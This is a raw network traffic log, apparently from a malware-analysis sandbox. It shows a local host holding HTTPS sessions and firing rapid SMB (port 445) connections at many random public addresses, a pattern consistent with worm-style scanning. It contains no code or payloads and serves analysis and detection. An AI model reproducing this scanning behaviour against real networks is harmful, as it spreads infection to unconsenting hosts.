Jul 20, 2022 13:24:46.518187046 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.518306017 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.518325090 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.518589973 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.518686056 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.518697023 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.520354986 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.520390987 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.520463943 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.520490885 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.520529032 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.520539045 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.520592928 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.529475927 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.529503107 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.529514074 CEST	50850	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.529521942 CEST	443	50850	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.624604940 CEST	50857	445	192.168.2.7	185.15.42.9
Jul 20, 2022 13:24:46.628673077 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.628715038 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.628842115 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.631373882 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.631405115 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.673100948 CEST	50859	445	192.168.2.7	82.163.57.101
Jul 20, 2022 13:24:46.719706059 CEST	50860	445	192.168.2.7	63.120.238.245
Jul 20, 2022 13:24:46.731419086 CEST	50846	445	192.168.2.7	162.241.249.180
Jul 20, 2022 13:24:46.873514891 CEST	50861	445	192.168.2.7	216.78.231.118
Jul 20, 2022 13:24:46.883424044 CEST	445	50846	162.241.249.180	192.168.2.7
Jul 20, 2022 13:24:46.903280020 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:46.951155901 CEST	50862	445	192.168.2.7	159.181.26.184
Jul 20, 2022 13:24:46.956046104 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.956175089 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.957914114 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.957935095 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.958213091 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:46.959337950 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:46.968131065 CEST	50863	445	192.168.2.7	112.173.47.211
Jul 20, 2022 13:24:46.998019934 CEST	50864	445	192.168.2.7	194.151.99.186
Jul 20, 2022 13:24:46.998846054 CEST	50865	445	192.168.2.7	122.29.44.0
Jul 20, 2022 13:24:46.999607086 CEST	50866	445	192.168.2.7	87.93.140.181
Jul 20, 2022 13:24:47.000411034 CEST	50867	445	192.168.2.7	53.2.34.192
Jul 20, 2022 13:24:47.000505924 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.002093077 CEST	50868	445	192.168.2.7	29.96.89.118
Jul 20, 2022 13:24:47.002855062 CEST	50869	445	192.168.2.7	80.83.75.72
Jul 20, 2022 13:24:47.002943993 CEST	50870	445	192.168.2.7	209.150.91.15
Jul 20, 2022 13:24:47.003509998 CEST	50871	445	192.168.2.7	95.35.36.32
Jul 20, 2022 13:24:47.032514095 CEST	445	50851	196.184.16.82	192.168.2.7
Jul 20, 2022 13:24:47.045919895 CEST	50872	445	192.168.2.7	214.56.230.60
Jul 20, 2022 13:24:47.046849012 CEST	50873	445	192.168.2.7	81.239.104.246
Jul 20, 2022 13:24:47.079227924 CEST	50874	445	192.168.2.7	216.68.21.74
Jul 20, 2022 13:24:47.079642057 CEST	50875	445	192.168.2.7	179.62.233.238
Jul 20, 2022 13:24:47.079741955 CEST	50876	445	192.168.2.7	139.29.252.166
Jul 20, 2022 13:24:47.088053942 CEST	50878	445	192.168.2.7	31.48.187.213
Jul 20, 2022 13:24:47.088130951 CEST	50879	445	192.168.2.7	90.10.131.61
Jul 20, 2022 13:24:47.088196993 CEST	50880	445	192.168.2.7	193.147.225.49
Jul 20, 2022 13:24:47.088310957 CEST	50882	445	192.168.2.7	132.33.193.75
Jul 20, 2022 13:24:47.088371038 CEST	50881	445	192.168.2.7	132.202.237.50
Jul 20, 2022 13:24:47.097192049 CEST	50877	445	192.168.2.7	220.160.116.9
Jul 20, 2022 13:24:47.124692917 CEST	50883	445	192.168.2.7	170.48.53.97
Jul 20, 2022 13:24:47.167479992 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.167515039 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.167535067 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.167722940 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.167762041 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.167781115 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.167789936 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.167869091 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.167944908 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.188446045 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.188510895 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.188541889 CEST	50858	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.188553095 CEST	443	50858	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.326390028 CEST	50884	445	192.168.2.7	177.60.211.88
Jul 20, 2022 13:24:47.397280931 CEST	50885	445	192.168.2.7	89.174.139.235
Jul 20, 2022 13:24:47.518146038 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:47.590333939 CEST	50887	445	192.168.2.7	38.248.97.56
Jul 20, 2022 13:24:47.591481924 CEST	50888	445	192.168.2.7	7.145.150.223
Jul 20, 2022 13:24:47.701594114 CEST	50889	445	192.168.2.7	185.15.42.10
Jul 20, 2022 13:24:47.779747963 CEST	50890	445	192.168.2.7	103.50.217.78
Jul 20, 2022 13:24:47.842247009 CEST	50891	445	192.168.2.7	135.113.149.107
Jul 20, 2022 13:24:47.921741009 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.921778917 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.921891928 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.922439098 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:47.922457933 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:47.998253107 CEST	50893	445	192.168.2.7	175.55.209.235
Jul 20, 2022 13:24:48.075946093 CEST	50894	445	192.168.2.7	33.239.108.240
Jul 20, 2022 13:24:48.107783079 CEST	50895	445	192.168.2.7	134.141.130.249
Jul 20, 2022 13:24:48.123186111 CEST	50896	445	192.168.2.7	98.119.71.68
Jul 20, 2022 13:24:48.124063015 CEST	50897	445	192.168.2.7	111.97.224.189
Jul 20, 2022 13:24:48.124826908 CEST	50898	445	192.168.2.7	147.33.103.207
Jul 20, 2022 13:24:48.125605106 CEST	50899	445	192.168.2.7	116.220.160.51
Jul 20, 2022 13:24:48.126374006 CEST	50900	445	192.168.2.7	71.14.74.131
Jul 20, 2022 13:24:48.127119064 CEST	50901	445	192.168.2.7	53.220.234.239
Jul 20, 2022 13:24:48.127881050 CEST	50902	445	192.168.2.7	23.249.141.89
Jul 20, 2022 13:24:48.128668070 CEST	50903	445	192.168.2.7	60.73.247.185
Jul 20, 2022 13:24:48.176332951 CEST	50904	445	192.168.2.7	222.50.0.51
Jul 20, 2022 13:24:48.177126884 CEST	50905	445	192.168.2.7	40.242.43.49
Jul 20, 2022 13:24:48.201287985 CEST	50906	445	192.168.2.7	82.253.42.46
Jul 20, 2022 13:24:48.216968060 CEST	50907	445	192.168.2.7	74.43.82.24
Jul 20, 2022 13:24:48.217725992 CEST	50908	445	192.168.2.7	84.78.241.124
Jul 20, 2022 13:24:48.218698978 CEST	50909	445	192.168.2.7	113.73.183.143
Jul 20, 2022 13:24:48.219394922 CEST	50910	445	192.168.2.7	180.17.52.101
Jul 20, 2022 13:24:48.220140934 CEST	50911	445	192.168.2.7	135.227.77.99
Jul 20, 2022 13:24:48.221581936 CEST	50913	445	192.168.2.7	28.70.242.150
Jul 20, 2022 13:24:48.222333908 CEST	50914	445	192.168.2.7	68.12.221.193
Jul 20, 2022 13:24:48.240748882 CEST	50915	445	192.168.2.7	113.154.224.44
Jul 20, 2022 13:24:48.247190952 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.247309923 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.247812033 CEST	50916	445	192.168.2.7	51.52.38.26
Jul 20, 2022 13:24:48.250746965 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.250761986 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.251168013 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.254753113 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.296499014 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.415055037 CEST	445	50903	60.73.247.185	192.168.2.7
Jul 20, 2022 13:24:48.451406956 CEST	50917	445	192.168.2.7	45.24.24.173
Jul 20, 2022 13:24:48.463006020 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463047981 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463076115 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463139057 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.463165045 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463191986 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463222980 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463233948 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.463243961 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463294029 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463295937 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.463367939 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.463376999 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463392019 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.463455915 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.471602917 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.471636057 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.471683025 CEST	50892	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:48.471689939 CEST	443	50892	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:48.513546944 CEST	50918	445	192.168.2.7	41.231.45.176
Jul 20, 2022 13:24:48.577577114 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:48.577619076 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:48.577709913 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:48.578047991 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:48.578069925 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:48.707779884 CEST	50920	445	192.168.2.7	26.230.145.55
Jul 20, 2022 13:24:48.716597080 CEST	50921	445	192.168.2.7	32.226.201.194
Jul 20, 2022 13:24:48.779146910 CEST	50922	445	192.168.2.7	185.15.42.11
Jul 20, 2022 13:24:48.903400898 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:48.904263973 CEST	50923	445	192.168.2.7	7.45.25.89
Jul 20, 2022 13:24:48.966814995 CEST	50924	445	192.168.2.7	195.32.207.80
Jul 20, 2022 13:24:48.979619980 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:48.979703903 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:48.982245922 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:48.982259989 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:48.982582092 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:48.984154940 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.028489113 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.044136047 CEST	50903	445	192.168.2.7	60.73.247.185
Jul 20, 2022 13:24:49.123048067 CEST	50925	445	192.168.2.7	204.157.168.234
Jul 20, 2022 13:24:49.201489925 CEST	50926	445	192.168.2.7	178.96.190.212
Jul 20, 2022 13:24:49.236624002 CEST	50927	445	192.168.2.7	163.64.44.117
Jul 20, 2022 13:24:49.250833035 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.250869036 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.250893116 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251099110 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.251121044 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251178026 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.251457930 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251486063 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251545906 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251569986 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.251581907 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251617908 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.251667976 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.251734018 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.260452032 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.260488033 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.260513067 CEST	50919	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:49.260520935 CEST	443	50919	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:49.263529062 CEST	50928	445	192.168.2.7	180.236.184.203
Jul 20, 2022 13:24:49.264236927 CEST	50929	445	192.168.2.7	96.53.9.230
Jul 20, 2022 13:24:49.265001059 CEST	50930	445	192.168.2.7	8.121.135.174
Jul 20, 2022 13:24:49.265778065 CEST	50931	445	192.168.2.7	159.247.142.12
Jul 20, 2022 13:24:49.266465902 CEST	50932	445	192.168.2.7	189.192.138.61
Jul 20, 2022 13:24:49.267194033 CEST	50933	445	192.168.2.7	187.72.122.171
Jul 20, 2022 13:24:49.267883062 CEST	50934	445	192.168.2.7	118.82.231.191
Jul 20, 2022 13:24:49.268678904 CEST	50935	445	192.168.2.7	96.151.95.198
Jul 20, 2022 13:24:49.294936895 CEST	50936	445	192.168.2.7	118.131.15.164
Jul 20, 2022 13:24:49.295708895 CEST	50937	445	192.168.2.7	19.161.98.53
Jul 20, 2022 13:24:49.329170942 CEST	50938	445	192.168.2.7	81.39.252.202
Jul 20, 2022 13:24:49.329986095 CEST	445	50903	60.73.247.185	192.168.2.7
Jul 20, 2022 13:24:49.342034101 CEST	50939	445	192.168.2.7	80.188.68.54
Jul 20, 2022 13:24:49.343126059 CEST	50940	445	192.168.2.7	187.47.242.57
Jul 20, 2022 13:24:49.343811989 CEST	50941	445	192.168.2.7	3.59.18.122
Jul 20, 2022 13:24:49.344497919 CEST	50942	445	192.168.2.7	81.143.212.2
Jul 20, 2022 13:24:49.345170021 CEST	50943	445	192.168.2.7	148.69.229.214
Jul 20, 2022 13:24:49.345834017 CEST	50944	445	192.168.2.7	3.91.104.245
Jul 20, 2022 13:24:49.346590042 CEST	50945	445	192.168.2.7	144.186.133.120
Jul 20, 2022 13:24:49.347583055 CEST	50946	445	192.168.2.7	217.214.133.64
Jul 20, 2022 13:24:49.384835005 CEST	50948	445	192.168.2.7	125.249.128.143
Jul 20, 2022 13:24:49.385185003 CEST	50949	445	192.168.2.7	180.109.81.236
Jul 20, 2022 13:24:49.395292044 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.395339966 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.395474911 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.398078918 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.398097992 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.420814991 CEST	445	50929	96.53.9.230	192.168.2.7
Jul 20, 2022 13:24:49.432799101 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.433862925 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.485822916 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.489329100 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.489401102 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.509831905 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.509860992 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.509881020 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.509982109 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.510013103 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.510041952 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.510068893 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.513339996 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.513375044 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.513442039 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.513495922 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.513504028 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.513524055 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.513623953 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.525970936 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.526001930 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.526051998 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.526138067 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.526165962 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.526232004 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.526319981 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.530273914 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.530298948 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.530401945 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.530426025 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.530541897 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.532088995 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.532211065 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.532216072 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.532239914 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.532291889 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.532336950 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.532399893 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.532500029 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544013023 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544091940 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544145107 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544173956 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544210911 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544240952 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544241905 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544271946 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544317961 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544332027 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544343948 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544385910 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544420958 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.544469118 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.544620037 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.547952890 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.548022032 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.548094034 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.548122883 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.548182964 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.548228025 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549314976 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.549380064 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.549527884 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549612999 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549622059 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.549725056 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549791098 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549806118 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.549840927 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.549894094 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.549936056 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.551465034 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.551503897 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.551594019 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.551608086 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.551680088 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.551738024 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.552663088 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.552704096 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.552855015 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.552867889 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.552923918 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.553555965 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.553759098 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.554816008 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.554856062 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.554938078 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.554949999 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.555016041 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.561101913 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.561146021 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.561475039 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.561556101 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.561584949 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.561681032 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.562086105 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.562129021 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.562279940 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.562299967 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.562397957 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.562999010 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.563040972 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.563122988 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.563138962 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.563201904 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.564012051 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.564120054 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.565145969 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.565188885 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.565263033 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.565279007 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.565332890 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.565376043 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.566050053 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.566150904 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.566215038 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.566230059 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.566281080 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.566349030 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.566438913 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.566544056 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.567054987 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.567089081 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.567184925 CEST	50950	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:49.567202091 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.568058014 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.568094969 CEST	443	50950	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:49.568200111 CEST	50950	443	192.168.2.7	80.67.82.211
